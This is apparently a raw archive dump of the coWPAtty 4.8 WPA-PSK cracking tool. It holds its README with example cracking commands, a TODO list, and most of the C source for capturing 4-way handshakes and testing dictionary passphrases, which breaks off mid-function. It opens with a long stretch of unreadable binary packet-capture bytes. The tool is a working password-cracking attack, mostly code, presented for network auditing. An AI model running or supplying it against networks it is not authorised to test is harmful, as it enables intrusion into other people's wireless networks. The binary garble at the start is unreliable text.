gYDH ¤U ¤p?gYD UgYDa\H ¤U ¤?gYD4` UgYDSoo ¤ ¤ hC%d1linksys US    *PPPP gYDĆH ¤U ¤?gYD UgYDH ¤U ¤?gYD UgYDQoo ¤ ¤ hC%d1linksys US    *PPPP gYDH ¤U ¤?gYD UgYDyH ¤U ¤?gYDy UgYDUoo ¤ ¤P hC%d1linksys US    *PPPP gYDH ¤U ¤?gYD{ UgYD H ¤U ¤?gYD UgYDQ3 oo ¤ ¤ hC%d1linksys US    *PPPP gYD6 H ¤U ¤?gYDY8 UgYDҕ H ¤U ¤@gYD UgYDN oo ¤ ¤ h6C%d1linksys US    *PPPP gYD H ¤U ¤@gYD UgYD ( H ¤U ¤ @gYD) UgYDNS oo ¤ ¤p hC%d1linksys US    *PPPP gYDV H ¤U ¤0@gYDW UgYDcH ¤U ¤@@gYD] UgYDR}}A ¤Uf  XljtM`.h ʚќtRiEKo85gYHi HV5'049VZP|K 3  ^gYDcyUUA ¤Uf   jk3sV*~Tp%~N~taI6ygYDMbbBU ¤f  qŸ ,<߰!8H^w%AٸZNhPA"gkkW=4z>"p)ڹd׎sÞ˿X0x/9Y~曺g(˥.7 gYD B^ ¤U "`~Ѧ3EPZte 6L'AK+߽eQDžվ|/a4/VSI텉K+n>#ս5 ?)/e~w_̙K27r:4^J`/n{-it^Г4IX ,i18}2؆#0e[?Z gYDBU ¤0  x"os҄-֛ eߪC EꎟCRi$nBF],r0ALӲDګ1@aQدCW[TY:/m6`(8Rn1rv~V\/qgYD`xH ¤U ¤AgYDy UgYDcH ¤U ¤AgYDd UgYDƎoo ¤ ¤@hC%d1linksys US    *PPPP gYDH ¤U ¤AgYD UgYDAH ¤U ¤AgYD7 UgYDoo ¤ ¤hC%d1linksys US    *PPPP gYDZ"H ¤U ¤AgYDf# UgYD݃H ¤U ¤BgYD UgYDԮoo ¤ ¤hC%d1linksys US    *PPPP gYD[H ¤U ¤BgYDd UgYDH ¤U ¤ BgYD  UgYD?oo ¤ ¤`z7C%d1linksys US    *PPPP gYDCH ¤U ¤0BgYDuD UgYD#H ¤U ¤@BgYD UgYDoo ¤ ¤hC%d1linksys US    *PPPP gYD7H ¤U ¤PBgYDO UgYDH ¤U ¤`BgYD UgYDA ¤Uf@  Bq,GD8 IvX ~lp4.S7;짿d Edxvh%,ڏXubncM Bx+/pm[E`bّqrzRo-@1gYD.H ¤U ¤pBgYD! UgYD\3 H ¤U ¤BgYDT4 UgYD^ oo ¤ ¤ hVC%d1linksys US    *PPPP gYDb H ¤U ¤BgYDc UgYD$ H ¤U ¤BgYD UgYD oo ¤ ¤hC%d1linksys US    *PPPP gYDl H ¤U ¤BgYDx UgYDW H ¤U ¤BgYDf[ UgYD~ oo ¤ ¤hvC%d1linksys US    *PPPP gYDr H ¤U ¤BgYDk UgYDx H ¤U ¤BgYD] UgYDoo ¤ ¤@hC%d1linksys US    *PPPP gYD_H ¤U ¤BgYDg UgYDn2H ¤U ¤CgYD^3 UgYD\oo ¤ ¤hC%d1linksys US    *PPPP gYD `H ¤U ¤CgYD(a UgYDKH ¤U ¤ CgYD? UgYD|oo ¤ ¤h&C%d1linksys US    *PPPP gYDOH ¤U ¤0CgYD UgYD ;˭`[gYD# A ¤Uf`  PXbq5X-Qcs"]ĸߦ Tm<;)/;j!9-bp4ykΞlXʅxNvjH= #,am>D+gYDM BU ¤f0  jS]ɮy +|^ 8V'^ZHP{%˞kE+8S eЏ5g`{>޽rx'7Ԫ:Dˊİo5pΈT`cF!$7j.V.>r5 msiy6 ޭgYD\ BU ¤f@  ^p fy?UՎpd2kџXq*&Db2wڗ@`p 惘J_*^~4b̋k|M3Gh/G]`~IבRGL ]?#0jphRE+ d-},}i(8)R˜hgYDv H ¤U ¤HgYDw UgYDC| oo ¤ ¤:&D%d1linksys US    *PPPP gYDF H ¤U ¤HgYDG UgYD }}A ¤Ufp  Km׀ݠdջ\0Ę8I o|=?0&lCRθgYD oo ¤ ¤hV)D%d1linksys US    *PPPP gYD H ¤U ¤HgYD  UgYDlH ¤U ¤IgYDT UgYD'oo ¤ ¤h*D%d1linksys US    *PPPP gYD+H ¤U ¤IgYD, UgYDIH ¤U ¤ IgYDM UgYDuoo ¤ ¤@ hv,D%d1linksys US    *PPPP gYDMyH ¤U ¤0IgYDUz UgYD6H ¤U ¤@IgYD UgYDoo ¤ ¤ h.D%d1linksys US    *PPPP gYD@ H ¤U ¤PIgYDF  UgYDjH ¤U ¤`IgYDZk UgYDoo ¤ ¤!h/D%d1linksys US    *PPPP gYDhH ¤U ¤pIgYDl UgYDH ¤U ¤Icowpatty-4.8/README000644 000765 000024 00000012057 13316751752 014757 0ustar00jwrightstaff000000 000000 coWPAtty - Brute-force dictionary attack against WPA-PSK. Copyright(c) 2004-2018 Joshua Wright -------------------------------------------------------------------------------- INTRO Right off the bat, this code isn't very useful. The PBKDF2 function makes 4096 SHA-1 passes for each passphrase, which takes quite a bit of time. On my Pentium II development system, I'm getting ~4 passphrases/second. The SHA-1 code I'm using has been optimized to the best of my ability (which isn't saying that much), but I doubt if it would be possible to optimize it such that the tool experiences an exponential performance increase. However, if you are auditing WPA-PSK or WPA2-PSK networks, you can use this tool to identify weak passphrases that were used to generate the PMK. Supply a libpcap capture file that includes the 4-way handshake, a dictionary file of passphrases to guess with, and the SSID for the network: $ ./cowpatty -r eap-test.dump -f dict -s somethingclever cowpatty 4.0 - WPA-PSK dictionary attack. Collected all necessary data to mount crack against WPA/PSK passphrase. Starting dictionary attack. Please be patient. The PSK is "family movie night". 4087 passphrases tested in 59.05 seconds: 69.22 passphrases/second $ The files "dict" and "eap-test.dump" are included with this distribution for testing purposes. If your SSID has spaces or other non-ASCII characters, enclose it in quotes so the shell doesn't interpret it as multiple parameters. This tool can also accept dictionary words from STDIN, allowing us to utilize a tool such as John the Ripper to create lots of word permutations from a dictionary file: $ john -wordfile:dictfile -rules -session:johnrestore.dat -stdout:63 | \ cowpatty -r eap-test.dump -f - -s somethingclever In the default configuration of John the Ripper, common permutations of dictionary words will be sent as potential passwords to coWPAtty. For example, here is a list of the words John will create from the input word "password": jwright@mercury:~$ echo password >word jwright@mercury:~$ john -session:/tmp/delme -wordfile:word -rules -stdout password Password passwords password1 Password1 drowssap 1password PASSWORD password2 password! password3 password7 password9 password5 password4 password8 password6 password0 password. password? psswrd drowssaP Drowssap passworD 2password 4password Password2 Password! Password3 Password9 Password5 Password7 Password4 Password6 Password8 Password. Password? Password0 3password 7password 9password 5password 6password 8password Passwords passworded passwording Passworded Passwording words: 49 time: 0:00:00:00 100% w/s: 49.00 current: Passwording jwright@mercury:~$ John the Ripper is available at http://www.openwall.com/john/. Note that it is also possible to mount a precomputed attack against the PSK. The PBKDF2 algorithm used to generate the PMK takes two non-fixed inputs: the passphrase and the network SSID. For a given SSID, we can precompute all the PMK's from a dictionary file with the "genpmk" tool: $ ./genpmk genpmk 1.0 - WPA-PSK precomputation attack. genpmk: Must specify a dictionary file with -f Usage: genpmk [options] -f Dictionary file -d Output hash file -s Network SSID -h Print this help information and exit -v Print verbose information (more -v for more verbosity) -V Print program version and exit After precomputing the hash file, run cowpatty with the -d argument. $ ./genpmk -f dict -d hashfile -s somethingclever genpmk 1.0 - WPA-PSK dictionary attack. File hashfile does not exist, creating. 4090 passphrases tested in 322.79 seconds: 12.67 passphrases/second $ Once the hashfile is created with the PMK's, we can use it with cowpatty: $ ./cowpatty -r eap-test.dump -d hashfile -s somethingclever cowpatty 3.1 - WPA-PSK dictionary attack. Collected all necessary data to mount crack against WPA/PSK passphrase. Starting dictionary attack. Please be patient. The PSK is family movie night". 4087 passphrases tested in 0.21 seconds: 19096.17 passphrases/second $ The attack isn't accelerated dramatically with the precomputation attack since we still have to spend the time precomputing the PMK with the genpmk utility, but we only have to do this once for each SSID. This allows us to precompute hash files with common SSID's such as "linksys" and "tsunami". If you spend the time precomputing big dictionaries, please drop me a copy. REFERENCE See Robert Moskowitz's paper "Weakness in Passphrase Choice in WPA Interface" for more information on WPA-PSK attacks at http://wifinetnews.com/archives/002452.html. THANKS My sincere thanks to dragorn for merging in the assembly SHA1 code, and to Randy Chou for advice on optimizing the pbkdf2 function. Also thanks to renderman for the inspiration to add the precomputation code. Thanks to h1kari and beetle for their respective foo. QUESTIONS, COMMENTS, CONCERNS Please contact jwright@hasborg.com with any questions, comments or concerns. My PGP key is located at http://802.11ninja.net/pgpkey.html. cowpatty-4.8/TODO000644 000765 000024 00000000444 13316751752 014564 0ustar00jwrightstaff000000 000000 Further optimize pbkdf2 handling. Windows port? Signal handler is not right. Need to be able to break and handle closing files at any time. Add support for multi-threading Handle multiple TKIP four-ways in the same capture file properly Decide how to properly handle multiple TKIP four-ways cowpatty-4.8/cowpatty.c000644 000765 000024 00000065637 13316751752 016131 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ /* * Right off the bat, this code isn't very useful. The PBKDF2 function makes * 4096 SHA-1 passes for each passphrase, which takes quite a bit of time. On * my Pentium II development system, I'm getting ~2.5 passphrases/second. * I've done my best to optimize the PBKDF2 function, but it's still pretty * slow. */ #define PROGNAME "cowpatty" #define VER "4.8" #define MAXPASSPHRASE 256 #define DOT1X_LLCTYPE "\x88\x8e" #include #include #include #include #include #include #include #include #include #include "cowpatty.h" #include "common.h" #include "utils.h" #include "sha1.h" #include "md5.h" #include "radiotap.h" /* Globals */ pcap_t *p = NULL; unsigned char *packet; struct pcap_pkthdr *h; char errbuf[PCAP_ERRBUF_SIZE]; int sig = 0; /* Used for handling signals */ char *words; /* temporary storage for the password from the hash record, instead of malloc/free for each entry. */ char password_buf[65]; unsigned long wordstested = 0; /* Prototypes */ void wpa_pmk_to_ptk(u8 * pmk, u8 * addr1, u8 * addr2, u8 * nonce1, u8 * nonce2, u8 * ptk, size_t ptk_len); void hexdump(unsigned char *data, int len); void usage(char *message); void testopts(struct user_opt *opt); void cleanup(); void parseopts(struct user_opt *opt, int argc, char **argv); void closepcap(struct capture_data *capdata); void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata, struct user_opt *opt); void dump_all_fields(struct crack_data cdata, struct user_opt *opt); void printstats(struct timeval start, struct timeval end, unsigned long int wordcount); int nextdictword(char *word, FILE * fp); int nexthashrec(FILE * fp, struct hashdb_rec *rec); void usage(char *message) { if (strlen(message) > 0) { printf("%s: %s\n", PROGNAME, message); } printf("\nUsage: %s [options]\n", PROGNAME); printf("\n" "\t-f \tDictionary file\n" "\t-d \tHash file (genpmk)\n" "\t-r \tPacket capture file\n" "\t-s \tNetwork SSID (enclose in quotes if SSID includes spaces)\n" "\t-2 \tUse frames 1 and 2 or 2 and 3 for key attack (nonstrict mode)\n" "\t-c \tCheck for valid 4-way frames, does not crack\n" "\t-h \tPrint this help information and exit\n" "\t-v \tPrint verbose information (more -v for more verbosity)\n" "\t-V \tPrint program version and exit\n" "\n"); } void cleanup() { /* lame-o-meter++ */ sig = 1; } void wpa_pmk_to_ptk(u8 * pmk, u8 * addr1, u8 * addr2, u8 * nonce1, u8 * nonce2, u8 * ptk, size_t ptk_len) { u8 data[2 * ETH_ALEN + 2 * 32]; memset(&data, 0, sizeof(data)); /* PTK = PRF-X(PMK, "Pairwise key expansion", * Min(AA, SA) || Max(AA, SA) || * Min(ANonce, SNonce) || Max(ANonce, SNonce)) */ if (memcmp(addr1, addr2, ETH_ALEN) < 0) { memcpy(data, addr1, ETH_ALEN); memcpy(data + ETH_ALEN, addr2, ETH_ALEN); } else { memcpy(data, addr2, ETH_ALEN); memcpy(data + ETH_ALEN, addr1, ETH_ALEN); } if (memcmp(nonce1, nonce2, 32) < 0) { memcpy(data + 2 * ETH_ALEN, nonce1, 32); memcpy(data + 2 * ETH_ALEN + 32, nonce2, 32); } else { memcpy(data + 2 * ETH_ALEN, nonce2, 32); memcpy(data + 2 * ETH_ALEN + 32, nonce1, 32); } sha1_prf(pmk, 32, "Pairwise key expansion", data, sizeof(data), ptk, ptk_len); } void hexdump(unsigned char *data, int len) { int i; for (i = 0; i < len; i++) { printf("%02x ", data[i]); } } void parseopts(struct user_opt *opt, int argc, char **argv) { int c; while ((c = getopt(argc, argv, "f:r:s:d:c2nhvV")) != EOF) { switch (c) { case 'f': strncpy(opt->dictfile, optarg, sizeof(opt->dictfile)); break; case 'r': strncpy(opt->pcapfile, optarg, sizeof(opt->pcapfile)); break; case 's': strncpy(opt->ssid, optarg, sizeof(opt->ssid)); break; case 'd': strncpy(opt->hashfile, optarg, sizeof(opt->hashfile)); break; case 'n': case '2': opt->nonstrict++; break; case 'c': opt->checkonly++; break; case 'h': usage(""); exit(0); break; case 'v': opt->verbose++; break; case 'V': printf ("$Id: cowpatty.c 264 2009-07-03 15:15:50Z jwright $\n"); exit(0); break; default: usage(""); exit(-1); } } } void testopts(struct user_opt *opt) { struct stat teststat; /* Test for a pcap file */ if (IsBlank(opt->pcapfile)) { usage("Must supply a pcap file with -r"); exit(-1); } if (opt->checkonly == 1) { /* Special case where we only need pcap file */ return; } /* test for required parameters */ if (IsBlank(opt->dictfile) && IsBlank(opt->hashfile)) { usage("Must supply a list of passphrases in a file with -f " "or a hash file\n\t with -d. " "Use \"-f -\" to accept words on stdin."); exit(-1); } if (IsBlank(opt->ssid)) { usage("Must supply the SSID for the network with -s"); exit(-1); } /* Test that the files specified exist and are greater than 0 bytes */ if (!IsBlank(opt->hashfile) && strncmp(opt->hashfile, "-", 1) != 0) { if (stat(opt->hashfile, &teststat)) { usage("Could not stat hashfile. Check file path."); exit(-1); } else if (teststat.st_size == 0) { usage("Empty hashfile (0 bytes). Check file contents."); exit(-1); } } if (!IsBlank(opt->dictfile) && strncmp(opt->dictfile, "-", 1) != 0) { if (stat(opt->dictfile, &teststat)) { usage ("Could not stat the dictionary file. Check file path."); exit(-1); } else if (teststat.st_size == 0) { usage ("Empty dictionary file (0 bytes). Check file contents."); exit(-1); } } if (stat(opt->pcapfile, &teststat) && strncmp(opt->hashfile, "-", 1) != 0) { usage("Could not stat the pcap file. Check file path."); exit(-1); } else if (teststat.st_size == 0) { usage("Empty pcap file (0 bytes). Check file contents."); exit(-1); } } int openpcap(struct capture_data *capdata) { /* Assume for now it's a libpcap file */ p = pcap_open_offline(capdata->pcapfilename, errbuf); if (p == NULL) { perror("Unable to open capture file"); return (-1); } /* Determine link type */ capdata->pcaptype = pcap_datalink(p); /* Determine offset to EAP frame based on link type */ switch (capdata->pcaptype) { case DLT_NULL: case DLT_EN10MB: case DLT_IEEE802_11: case DLT_PRISM_HEADER: case DLT_IEEE802_11_RADIO: break; default: /* Unknown/unsupported pcap type */ return (1); } return (0); } void closepcap(struct capture_data *capdata) { /* Assume it's a libpcap file for now */ pcap_close(p); } /* Populates global *packet, returns status */ int getpacket(struct capture_data *capdata) { /* Assume it's a libpcap file for now */ int ret; struct ieee80211_radiotap_header *rtaphdr; int rtaphdrlen=0; struct dot11hdr *dot11 = NULL; /* Loop on pcap_next_ex until we get a packet we want, return from * this while loop. This is kinda hack. */ while ((ret = pcap_next_ex(p, &h, (const u_char **)&packet)) && ret > 0) { /* Determine offset to EAP frame based on link type */ switch (capdata->pcaptype) { case DLT_NULL: case DLT_EN10MB: /* Standard ethernet header */ capdata->dot1x_offset = 14; capdata->l2type_offset = 12; capdata->dstmac_offset = 0; capdata->srcmac_offset = 6; return(ret); break; case DLT_IEEE802_11: /* If this is not a data packet, get the next frame */ dot11 = (struct dot11hdr *)packet; if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { continue; } capdata->dstmac_offset = 4; capdata->srcmac_offset = 10; /* differentiate QoS data and non-QoS data frames */ if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) { /* 26 bytes 802.11 header, 8 for 802.2 header */ capdata->dot1x_offset = 34; capdata->l2type_offset = 32; } else if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_DATA) { /* 24 bytes 802.11 header, 8 for 802.2 header */ capdata->dot1x_offset = 32; capdata->l2type_offset = 30; } else { /* Not a data frame we support */ continue; } return(ret); break; case DLT_PRISM_HEADER: /* 802.11 frames with AVS header, AVS header is 144 * bytes */ /* If this is not a data packet, get the next frame */ dot11 = ((struct dot11hdr *)(packet+144)); if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { continue; } capdata->dstmac_offset = 4 + 144; capdata->srcmac_offset = 10 + 144; /* differentiate QoS data and non-QoS data frames */ if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) { capdata->dot1x_offset = 34 + 144; capdata->l2type_offset = 32 + 144; } else if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_DATA) { capdata->dot1x_offset = 32 + 144; capdata->l2type_offset = 30 + 144; } else { /* Not a data frame we support */ continue; } return(ret); break; case DLT_IEEE802_11_RADIO: /* Radiotap header, need to calculate offset to payload on a per-packet basis. */ rtaphdr = (struct ieee80211_radiotap_header *)packet; /* rtap is LE */ rtaphdrlen = le16_to_cpu(rtaphdr->it_len); /* Sanity check on header length, 10 bytes is min 802.11 len */ if (rtaphdrlen > (h->len - 10)) { return -2; /* Bad radiotap data */ } capdata->dstmac_offset = 4 + rtaphdrlen; capdata->srcmac_offset = 10 + rtaphdrlen; dot11 = ((struct dot11hdr *)(packet+rtaphdrlen)); /* differentiate QoS data and non-QoS data frames */ if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) { capdata->dot1x_offset = 34 + rtaphdrlen; capdata->l2type_offset = 32 + rtaphdrlen; } else if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_DATA) { capdata->dot1x_offset = 32 + rtaphdrlen; capdata->l2type_offset = 30 + rtaphdrlen; } else { /* Not a data frame we support */ continue; } return(ret); break; default: /* Unknown/unsupported pcap type */ return (1); } } return (ret); } void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata, struct user_opt *opt) { struct ieee8021x *dot1xhdr; struct wpa_eapol_key *eapolkeyhdr; int eapolkeyoffset; int key_info, index; /* We're going after the last three frames in the 4-way handshake. In the last frame of the TKIP exchange, the authenticator nonce is omitted. In cases where there is a unicast and a multicast key distributed, frame 4 will include the authenticator nonce. In some cases however, there is no multicast key distribution, so frame 4 has no authenticator nonce. For this reason, we need to capture information from the 2nd, 3rd and 4th frames to accommodate cases where there is no multicast key delivery. Suckage. */ dot1xhdr = (struct ieee8021x *)&packet[capdata->dot1x_offset]; eapolkeyoffset = capdata->dot1x_offset + sizeof(struct ieee8021x); eapolkeyhdr = (struct wpa_eapol_key *)&packet[eapolkeyoffset]; /* Bitwise fields in the key_info field of the EAPOL-Key header */ key_info = be_to_host16(eapolkeyhdr->key_info); cdata->ver = key_info & WPA_KEY_INFO_TYPE_MASK; index = key_info & WPA_KEY_INFO_KEY_INDEX_MASK; if (opt->nonstrict == 0) { /* Check for EAPOL version 1, type EAPOL-Key */ if (dot1xhdr->version != 1 || dot1xhdr->type != 3) { return; } } else { /* Check for type EAPOL-Key */ if (dot1xhdr->type != 3) { return; } } if (cdata->ver != WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 && cdata->ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { return; } if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { /* Check for WPA key, and pairwise key type */ if (eapolkeyhdr->type != 254 || (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) { return; } } else if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { if (eapolkeyhdr->type != 2 || (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) { return; } } if (opt->nonstrict == 0) { /* Check for frame 2 of the 4-way handshake */ if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_ACK) == 0 && (key_info & WPA_KEY_INFO_INSTALL) == 0 && eapolkeyhdr->key_data_length > 0) { /* All we need from this frame is the authenticator nonce */ memcpy(cdata->snonce, eapolkeyhdr->key_nonce, sizeof(cdata->snonce)); cdata->snonceset = 1; /* Check for frame 3 of the 4-way handshake */ } else if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_INSTALL) && (key_info & WPA_KEY_INFO_ACK)) { memcpy(cdata->spa, &packet[capdata->dstmac_offset], sizeof(cdata->spa)); memcpy(cdata->aa, &packet[capdata->srcmac_offset], sizeof(cdata->aa)); memcpy(cdata->anonce, eapolkeyhdr->key_nonce, sizeof(cdata->anonce)); cdata->aaset = 1; cdata->spaset = 1; cdata->anonceset = 1; /* We save the replay counter value in the 3rd frame to match against the 4th frame of the four-way handshake */ memcpy(cdata->replay_counter, eapolkeyhdr->replay_counter, 8); /* Check for frame 4 of the four-way handshake */ } else if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_ACK) == 0 && (key_info & WPA_KEY_INFO_INSTALL) == 0 && (memcmp (cdata->replay_counter, eapolkeyhdr->replay_counter, 8) == 0)) { memcpy(cdata->keymic, eapolkeyhdr->key_mic, sizeof(cdata->keymic)); memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset], sizeof(cdata->eapolframe)); cdata->keymicset = 1; cdata->eapolframeset = 1; } } else { /* Check for frame 1 of the 4-way handshake */ if ((key_info & WPA_KEY_INFO_MIC) == 0 && (key_info & WPA_KEY_INFO_ACK) && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) { /* All we need from this frame is the authenticator nonce */ memcpy(cdata->anonce, eapolkeyhdr->key_nonce, sizeof(cdata->anonce)); cdata->anonceset = 1; /* Check for frame 2 of the 4-way handshake */ } else if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_INSTALL) == 0 && (key_info & WPA_KEY_INFO_ACK) == 0 && eapolkeyhdr->key_data_length > 0) { cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 ) + packet[capdata->dot1x_offset + 3] + 4; memcpy(cdata->spa, &packet[capdata->dstmac_offset], sizeof(cdata->spa)); cdata->spaset = 1; memcpy(cdata->aa, &packet[capdata->srcmac_offset], sizeof(cdata->aa)); cdata->aaset = 1; memcpy(cdata->snonce, eapolkeyhdr->key_nonce, sizeof(cdata->snonce)); cdata->snonceset = 1; memcpy(cdata->keymic, eapolkeyhdr->key_mic, sizeof(cdata->keymic)); cdata->keymicset = 1; memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset], cdata->eapolframe_size); cdata->eapolframeset = 1; /* Check for frame 3 of the 4-way handshake */ } else if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_ACK) && (key_info & WPA_KEY_INFO_INSTALL)) { /* All we need from this frame is the authenticator nonce */ memcpy(cdata->anonce, eapolkeyhdr->key_nonce, sizeof(cdata->anonce)); cdata->anonceset = 1; } } } void dump_all_fields(struct crack_data cdata, struct user_opt *opt) { printf("AA is:"); lamont_hdump(cdata.aa, 6); printf("\n"); printf("SPA is:"); lamont_hdump(cdata.spa, 6); printf("\n"); printf("snonce is:"); lamont_hdump(cdata.snonce, 32); printf("\n"); printf("anonce is:"); lamont_hdump(cdata.anonce, 32); printf("\n"); printf("keymic is:"); lamont_hdump(cdata.keymic, 16); printf("\n"); printf("eapolframe is:"); if (opt->nonstrict == 0) { lamont_hdump(cdata.eapolframe, 99); } else { lamont_hdump(cdata.eapolframe, 125); } printf("\n"); } void printstats(struct timeval start, struct timeval end, unsigned long int wordcount) { float elapsed = 0; if (end.tv_usec < start.tv_usec) { end.tv_sec -= 1; end.tv_usec += 1000000; } end.tv_sec -= start.tv_sec; end.tv_usec -= start.tv_usec; elapsed = end.tv_sec + end.tv_usec / 1000000.0; printf("\n%lu passphrases tested in %.2f seconds: %.2f passphrases/" "second\n", wordcount, elapsed, wordcount / elapsed); } int nexthashrec(FILE * fp, struct hashdb_rec *rec) { int recordlength, wordlen; if (fread(&rec->rec_size, sizeof(rec->rec_size), 1, fp) != 1) { perror("fread"); return -1; } recordlength = rec->rec_size; wordlen = recordlength - (sizeof(rec->pmk) + sizeof(rec->rec_size)); if (wordlen > 63 || wordlen < 8) { fprintf(stderr, "Invalid word length: %d\n", wordlen); return -1; } /* hackity, hack, hack, hack */ rec->word = password_buf; if (fread(rec->word, wordlen, 1, fp) != 1) { perror("fread"); return -1; } if (fread(rec->pmk, sizeof(rec->pmk), 1, fp) != 1) { perror("fread"); return -1; } return recordlength; } int nextdictword(char *word, FILE * fp) { if (fgets(word, MAXPASSLEN + 1, fp) == NULL) { return (-1); } /* Remove newline */ word[strlen(word) - 1] = '\0'; if (feof(fp)) { return (-1); } return (strlen(word)); } void hmac_hash(int ver, u8 *key, int hashlen, u8 *buf, int buflen, u8 *mic) { u8 hash[SHA1_MAC_LEN]; if (ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { hmac_md5(key, hashlen, buf, buflen, mic); } else if (ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { hmac_sha1(key, hashlen, buf, buflen, hash, NOCACHED); memcpy(mic, hash, MD5_DIGEST_LENGTH); /* only 16 bytes, not 20 */ } } int hashfile_attack(struct user_opt *opt, char *passphrase, struct crack_data *cdata) { FILE *fp; int reclen, wordlen; u8 pmk[32]; u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; struct hashdb_rec rec; struct hashdb_head hf_head; char headerssid[33]; /* Open the hash file */ if (*opt->hashfile == '-') { printf("Using STDIN for hashfile contents.\n"); fp = stdin; } else { fp = fopen(opt->hashfile, "rb"); if (fp == NULL) { perror("fopen"); return(-1); } } /* Read the record header contents */ if (fread(&hf_head, sizeof(hf_head), 1, fp) != 1) { perror("fread"); return(-1); } /* Ensure selected SSID matches what's stored in the header record */ if (memcmp(hf_head.ssid, opt->ssid, hf_head.ssidlen) != 0) { memcpy(&headerssid, hf_head.ssid, hf_head.ssidlen); headerssid[hf_head.ssidlen] = 0; /* NULL terminate string */ fprintf(stderr, "\nSSID in hashfile (\"%s\") does not match " "SSID specified on the \n" "command line (\"%s\"). You cannot " "mix and match SSID's for this\nattack.\n\n", headerssid, opt->ssid); return(-1); } while (feof(fp) == 0 && sig == 0) { /* Populate the hashdb_rec with the next record */ reclen = nexthashrec(fp, &rec); /* nexthashrec returns the length of the record, test to ensure passphrase is greater than 8 characters */ wordlen = rec.rec_size - (sizeof(rec.pmk) + sizeof(rec.rec_size)); if (wordlen < 8) { printf("Found a record that was too short, this " "shouldn't happen in practice!\n"); return(-1); } /* Populate passphrase with the record contents */ memcpy(passphrase, rec.word, wordlen); /* NULL terminate passphrase string */ passphrase[wordlen] = 0; if (opt->verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* Increment the words tested counter */ wordstested++; /* Status display */ if ((wordstested % 10000) == 0) { printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt->verbose > 1) { printf("Calculating PTK for \"%s\".\n", passphrase); } if (opt->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } wpa_pmk_to_ptk(rec.pmk, cdata->aa, cdata->spa, cdata->anonce, cdata->snonce, ptk, sizeof(ptk)); if (opt->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if (opt->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } if (opt->nonstrict == 0) { hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, sizeof(cdata->eapolframe), keymic); } else { hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, cdata->eapolframe_size, keymic); } if (opt->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) { return 0; } else { continue; } } return 1; } int dictfile_attack(struct user_opt *opt, char *passphrase, struct crack_data *cdata) { FILE *fp; int fret; u8 pmk[32]; u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; /* Open the dictionary file */ if (*opt->dictfile == '-') { printf("Using STDIN for words.\n"); fp = stdin; } else { fp = fopen(opt->dictfile, "r"); if (fp == NULL) { perror("fopen"); exit(-1); } } while (feof(fp) == 0 && sig == 0) { /* Populate "passphrase" with the next word */ fret = nextdictword(passphrase, fp); if (fret < 0) { break; } if (opt->verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* * Test length of word. IEEE 802.11i indicates the passphrase * must be at least 8 characters in length, and no more than 63 * characters in length. */ if (fret < 8 || fret > 63) { if (opt->verbose) { printf("Invalid passphrase length: %s (%zd).\n", passphrase, strlen(passphrase)); } continue; } else { /* This word is good, increment the words tested counter */ wordstested++; } /* Status display */ if ((wordstested % 1000) == 0) { printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt->verbose > 1) { printf("Calculating PMK for \"%s\".\n", passphrase); } pbkdf2_sha1(passphrase, opt->ssid, strlen(opt->ssid), 4096, pmk, sizeof(pmk), USECACHED); if (opt->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } wpa_pmk_to_ptk(pmk, cdata->aa, cdata->spa, cdata->anonce, cdata->snonce, ptk, sizeof(ptk)); if (opt->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if 